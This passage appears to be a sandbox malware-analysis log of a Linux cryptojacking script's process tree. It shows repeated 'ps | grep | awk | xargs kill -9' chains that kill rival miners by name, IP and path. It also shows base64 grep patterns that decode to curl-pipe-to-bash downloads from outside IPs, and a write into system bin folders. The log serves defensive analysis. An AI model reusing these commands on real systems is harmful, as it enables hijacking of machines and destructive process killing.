  PID:630
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:631
- /bin/ps
  ps aux
  2⤵
  PID:632
- /bin/grep
  grep -v grep
  2⤵
  PID:633
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:634
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:635
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:636
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:637
- /bin/grep
  grep -v grep
  2⤵
  PID:638
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:639
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:640
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:641
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:642
- /bin/grep
  grep -v grep
  2⤵
  PID:643
- /bin/grep
  grep svc
  2⤵
  PID:644
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:645
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:646
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:647
- /bin/grep
  grep -v grep
  2⤵
  PID:648
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:649
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:650
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:651
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:652
- /bin/grep
  grep -v grep
  2⤵
  PID:653
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:654
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:655
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:656
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:657
- /bin/grep
  grep -v grep
  2⤵
  PID:658
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:659
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:660
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:661
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:662
- /bin/grep
  grep -v grep
  2⤵
  PID:663
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:664
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:665
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:666
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:667
- /bin/grep
  grep -v grep
  2⤵
  PID:668
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:669
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:670
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:671
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:672
- /bin/grep
  grep -v grep
  2⤵
  PID:673
- /bin/grep
  grep HiPxCJRS
  2⤵
  PID:674
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:675
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:676
- /bin/ps
  ps aux
  2⤵
  PID:677
- /bin/grep
  grep -v grep
  2⤵
  PID:678
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:679
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:681
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:680
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:682
- /bin/grep
  grep -v grep
  2⤵
  PID:683
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:684
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:685
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:686
- /bin/grep
  grep -v grep
  2⤵
  PID:688
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:687
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:689
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:690
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:691
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:692
- /bin/grep
  grep -v grep
  2⤵
  PID:693
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:694
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:695
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:696
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:697
- /bin/grep
  grep -v grep
  2⤵
  PID:698
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:699
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:701
- /bin/ps
  ps aux
  2⤵
  PID:702
- /bin/grep
  grep -v grep
  2⤵
  PID:703
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:704
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:706
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:707
- /bin/grep
  grep -v grep
  2⤵
  PID:708
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:709
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:710
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:711
- /bin/grep
  grep -v grep
  2⤵
  PID:712
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:713
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:714
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:715
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:718
- /bin/grep
  grep -v grep
  2⤵
  PID:717
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:719
- /bin/ps
  ps aux
  2⤵
  PID:716
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:720
- /bin/grep
  grep -v grep
  2⤵
  PID:722
- /bin/ps
  ps aux
  2⤵
  PID:721
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:723
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:725
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:726
- /bin/grep
  grep -v grep
  2⤵
  PID:727
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:728
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:729
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:730
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:731
- /bin/grep
  grep -v grep
  2⤵
  PID:732
- /bin/grep
  grep nqscheduler
  2⤵
  PID:733
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:734
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:735
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:736
- /bin/grep
  grep -v grep
  2⤵
  PID:737
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:738
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:739
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:740
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:741
- /bin/grep
  grep -v grep
  2⤵
  PID:742
- /bin/grep
  grep -v aux
  2⤵
  PID:743
- /bin/grep
  grep "]"
  2⤵
  PID:744
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:745
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:746
- /bin/ps
  ps aux
  2⤵
  PID:747
- /bin/grep
  grep -v grep
  2⤵
  PID:748
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:749
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:751
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:750
- /bin/grep
  grep -v grep
  2⤵
  PID:753
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:752
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:754
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:755
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:756
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:757
- /bin/grep
  grep -v grep
  2⤵
  PID:758
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:759
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:760
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:761
- /bin/ps
  ps aux
  2⤵
  PID:762
- /bin/grep
  grep -v grep
  2⤵
  PID:763
- /bin/grep
  grep -v /
  2⤵
  PID:764
- /bin/grep
  grep -v -
  2⤵
  PID:765
- /bin/grep
  grep -v _
  2⤵
  PID:766
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:768
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:767
- /bin/ps
  ps aux
  2⤵
  PID:769
- /bin/grep
  grep -v grep
  2⤵
  PID:770
- /bin/grep
  grep "\\[^"
  2⤵
  PID:771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:773
- /bin/ps
  ps aux
  2⤵
  PID:774
- /bin/grep
  grep -v grep
  2⤵
  PID:775
- /bin/grep
  grep rsync
  2⤵
  PID:776
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:777
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:778
- /bin/ps
  ps aux
  2⤵
  PID:779
- /bin/grep
  grep -v grep
  2⤵
  PID:780
- /bin/grep
  grep watchd0g
  2⤵
  PID:781
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:782
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:783
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:784
- /bin/grep
  grep -v grep
  2⤵
  PID:785
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:787
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:788
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  - Writes file to system bin folder
  PID:786
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:786
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:789
- /bin/grep
  grep -v grep
  2⤵
  PID:790
- /bin/grep
  grep 158.69.133.18:8220
  2⤵
  PID:791
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:792
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:793
- /bin/ps
  ps aux
  2⤵
  PID:794
- /bin/grep
  grep -v grep
  2⤵
  PID:795
- /bin/grep
  grep /tmp/java
  2⤵
  PID:796
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:797
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:798
- /bin/grep
  grep -v grep
  2⤵
  PID:800
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /bin/grep
  grep gitee.com
  2⤵
  PID:801
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:802
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:803
- /bin/ps
  ps aux
  2⤵
  PID:804
- /bin/grep
  grep -v grep
  2⤵
  PID:805
- /bin/grep
  grep /tmp/java
  2⤵
  PID:806
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:807
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:808
- /bin/ps
  ps aux
  2⤵
  PID:809
- /bin/grep
  grep -v grep
  2⤵
  PID:810
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:811
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:812
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:813
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:814
- /bin/grep
  grep -v grep
  2⤵
  PID:815
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:816
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:817
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:818
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:819
- /bin/grep
  grep -v grep
  2⤵
  PID:820
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:821
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:822
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:823
- /bin/ps
  ps aux
  2⤵
  PID:824
- /bin/grep
  grep -v grep
  2⤵
  PID:825
- /bin/grep
  grep kthrotlds
  2⤵
  PID:826
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:828
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:829
- /bin/grep
  grep -v grep
  2⤵
  PID:830
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:831
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:832
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:833
- /bin/grep
  grep -v grep
  2⤵
  PID:835
- /bin/ps
  ps aux
  2⤵
  PID:834
- /bin/grep
  grep netdns
  2⤵
  PID:836
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:837
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:838
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:839
- /bin/grep
  grep -v grep
  2⤵
  PID:840
- /bin/grep
  grep watchdogs
  2⤵
  PID:841
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:842
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:843
- /bin/grep
  grep -v grep
  2⤵
  PID:845
- /bin/ps
  ps aux
  2⤵
  PID:844
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:846
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:847
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:848
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:849
- /bin/grep
  grep -v grep
  2⤵
  PID:850
- /bin/grep
  grep kinsing
  2⤵
  PID:851
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:852
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:853
- /bin/ps
  ps aux
  2⤵
  PID:854
- /bin/grep
  grep -v grep
  2⤵
  PID:855
- /bin/grep
  grep redis2
  2⤵
  PID:856
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:857
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:858
- /bin/ps
  ps aux
  2⤵
  PID:859
- /bin/grep
  grep -v grep
  2⤵
  PID:860
- /bin/grep
  grep -v aux
  2⤵
  PID:861
- /bin/grep
  grep " ps"
  2⤵
  PID:862
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:864
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:863
- /bin/ps
  ps aux
  2⤵
  PID:865
- /bin/grep
  grep -v grep
  2⤵
  PID:866
- /bin/grep
  grep sync_supers
  2⤵
  PID:867
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:868
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:869
- /bin/ps
  ps aux
  2⤵
  PID:870
- /bin/grep
  grep -v grep
  2⤵
  PID:871
- /bin/grep
  grep cpuset
  2⤵
  PID:872
- /usr/bin/cut
  cut -c 9-15
  2⤵
  PID:873
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:874
- /bin/ps
  ps aux
  2⤵
  PID:875
- /bin/grep
  grep -v grep
  2⤵
  PID:876
- /bin/grep
  grep -v aux
  2⤵
  PID:877
- /bin/grep
  grep "x]"
  2⤵
  PID:878
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:879
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:880
- /bin/ps
  ps aux
  2⤵
  PID:881
- /bin/grep
  grep -v grep
  2⤵
  PID:882
- /bin/grep
  grep -v aux
  2⤵
  PID:883
- /bin/grep
  grep "sh] <"
  2⤵
  PID:884
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:885
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:886
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:887
- /bin/grep
  grep -v grep
  2⤵
  PID:888
- /bin/grep
  grep -v aux
  2⤵
  PID:889
- /bin/grep
  grep " \\[]"
  2⤵
  PID:890
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:891
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:892
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:893
- /bin/grep
  grep -v grep
  2⤵
  PID:894
- /bin/grep
  grep /tmp/l.sh
  2⤵
  PID:895
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:896
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:897
- /bin/ps
  ps aux
  2⤵
  PID:898
- /bin/grep
  grep -v grep
  2⤵
  PID:899
- /bin/grep
  grep /tmp/zmcat
  2⤵
  PID:900
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:901
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:902
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:903
- /bin/grep
  grep -v grep
  2⤵
  PID:904
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:905
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:906
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:907
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:908
- /bin/grep
  grep -v grep
  2⤵
  PID:909
- /bin/grep
  grep CnzFVPLF
  2⤵
  PID:910
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:911
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:913
- /bin/grep
  grep -v grep
  2⤵
  PID:914
- /bin/grep
  grep CvKzzZLs
  2⤵
  PID:915
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:916
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:917
- /bin/ps
  ps aux
  2⤵
  PID:918
- /bin/grep
  grep -v grep
  2⤵
  PID:919
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  PID:920
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:921
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:922
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:923
- /bin/grep
  grep -v grep
  2⤵
  PID:924
- /bin/grep
  grep /tmp/udevd
  2⤵
  PID:925
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:926
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:927
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:928
- /bin/grep
  grep -v grep
  2⤵
  PID:929
- /bin/grep
  grep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA
  2⤵
  PID:930
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:931
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:932
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:933
- /bin/grep
  grep -v grep
  2⤵
  PID:934
- /bin/grep
  grep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo
  2⤵
  PID:935
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:936
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:937
- /bin/ps
  ps aux
  2⤵
  PID:938
- /bin/grep
  grep -v grep
  2⤵
  PID:939
- /bin/grep
  grep sustse
  2⤵
  PID:940
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:941
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:942
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:943
- /bin/grep
  grep -v grep
  2⤵
  PID:944
- /bin/grep
  grep sustse3
  2⤵
  PID:945
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:946
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:947
- /bin/ps
  ps aux
  2⤵
  PID:948
- /bin/grep
  grep mr.sh
  2⤵
  PID:950
- /bin/grep
  grep -v grep
  2⤵
  PID:949
- /bin/grep
  grep wget
  2⤵
  PID:951
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:952
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:953
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:954
- /bin/grep
  grep -v grep
  2⤵
  PID:955
- /bin/grep
  grep mr.sh
  2⤵
  PID:956
- /bin/grep
  grep curl
  2⤵
  PID:957
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:958
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:959
- /bin/ps
  ps aux
  2⤵
  PID:960
- /bin/grep
  grep -v grep
  2⤵
  PID:961
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:962
- /bin/grep
  grep wget
  2⤵
  PID:963
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:964
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:965
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:966
- /bin/grep
  grep -v grep
  2⤵
  PID:967
- /bin/grep
  grep 2mr.sh
  2⤵
  PID:968
- /bin/grep
  grep curl
  2⤵
  PID:969
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:970
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:971
- /bin/grep
  grep -v grep
  2⤵
  PID:973
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:972
- /bin/grep
  grep cr5.sh
  2⤵
  PID:974
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:976
- /bin/grep
  grep wget
  2⤵
  PID:975
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:977
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:978
- /bin/grep
  grep -v grep
  2⤵
  PID:979
- /bin/grep
  grep cr5.sh
  2⤵
  PID:980
- /bin/grep
  grep curl
  2⤵
  PID:981
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:982
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:983
- /bin/ps
  ps aux
  2⤵
  PID:984
- /bin/grep
  grep -v grep
  2⤵
  PID:985
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:986
- /bin/grep
  grep wget
  2⤵
  PID:987
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:989
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:988
- /bin/ps
  ps aux
  2⤵
  PID:990
- /bin/grep
  grep -v grep
  2⤵
  PID:991
- /bin/grep
  grep logo9.jpg
  2⤵
  PID:992
- /bin/grep
  grep curl
  2⤵
  PID:993
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:994
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:995
- /bin/ps
  ps aux
  2⤵
  PID:996
- /bin/grep
  grep -v grep
  2⤵
  PID:997
- /bin/grep
  grep j2.conf
  2⤵
  PID:998
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:999
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1000
- /bin/ps
  ps aux
  2⤵
  PID:1001
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1003
- /bin/grep
  grep -v grep
  2⤵
  PID:1002
- /bin/grep
  grep wget
  2⤵
  PID:1004
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1005
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1006
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1007
- /bin/grep
  grep -v grep
  2⤵
  PID:1008
- /bin/grep
  grep luk-cpu
  2⤵
  PID:1009
- /bin/grep
  grep curl
  2⤵
  PID:1010
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1011
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1012
- /bin/ps
  ps aux
  2⤵
  PID:1013
- /bin/grep
  grep -v grep
  2⤵
  PID:1014
- /bin/grep
  grep ficov
  2⤵
  PID:1015
- /bin/grep
  grep wget
  2⤵
  PID:1016
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1017
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1018
- /bin/ps
  ps aux
  2⤵
  PID:1019
- /bin/grep
  grep -v grep
  2⤵
  PID:1020
- /bin/grep
  grep ficov
  2⤵
  PID:1021
- /bin/grep
  grep curl
  2⤵
  PID:1022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1023
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1024
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1025
- /bin/grep
  grep -v grep
  2⤵
  PID:1026
- /bin/grep
  grep he.sh
  2⤵
  PID:1027
- /bin/grep
  grep wget
  2⤵
  PID:1028
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1029
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1030
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1031
- /bin/grep
  grep -v grep
  2⤵
  PID:1032
- /bin/grep
  grep he.sh
  2⤵
  PID:1033
- /bin/grep
  grep curl
  2⤵
  PID:1034
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1035
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1036
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1037
- /bin/grep
  grep -v grep
  2⤵
  PID:1038
- /bin/grep
  grep miner.sh
  2⤵
  PID:1039
- /bin/grep
  grep wget
  2⤵
  PID:1040
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1041
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1042
- /bin/ps
  ps aux
  2⤵
  PID:1043
- /bin/grep
  grep -v grep
  2⤵
  PID:1044
- /bin/grep
  grep miner.sh
  2⤵
  PID:1045
- /bin/grep
  grep curl
  2⤵
  PID:1046
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1047
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1048
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1049
- /bin/grep
  grep -v grep
  2⤵
  PID:1050
- /bin/grep
  grep nullcrew
  2⤵
  PID:1051
- /bin/grep
  grep wget
  2⤵
  PID:1052
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1053
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1054
- /bin/ps
  ps aux
  2⤵
  PID:1055
- /bin/grep
  grep -v grep
  2⤵
  PID:1056
- /bin/grep
  grep nullcrew
  2⤵
  PID:1057
- /bin/grep
  grep curl
  2⤵
  PID:1058
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1059
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1060
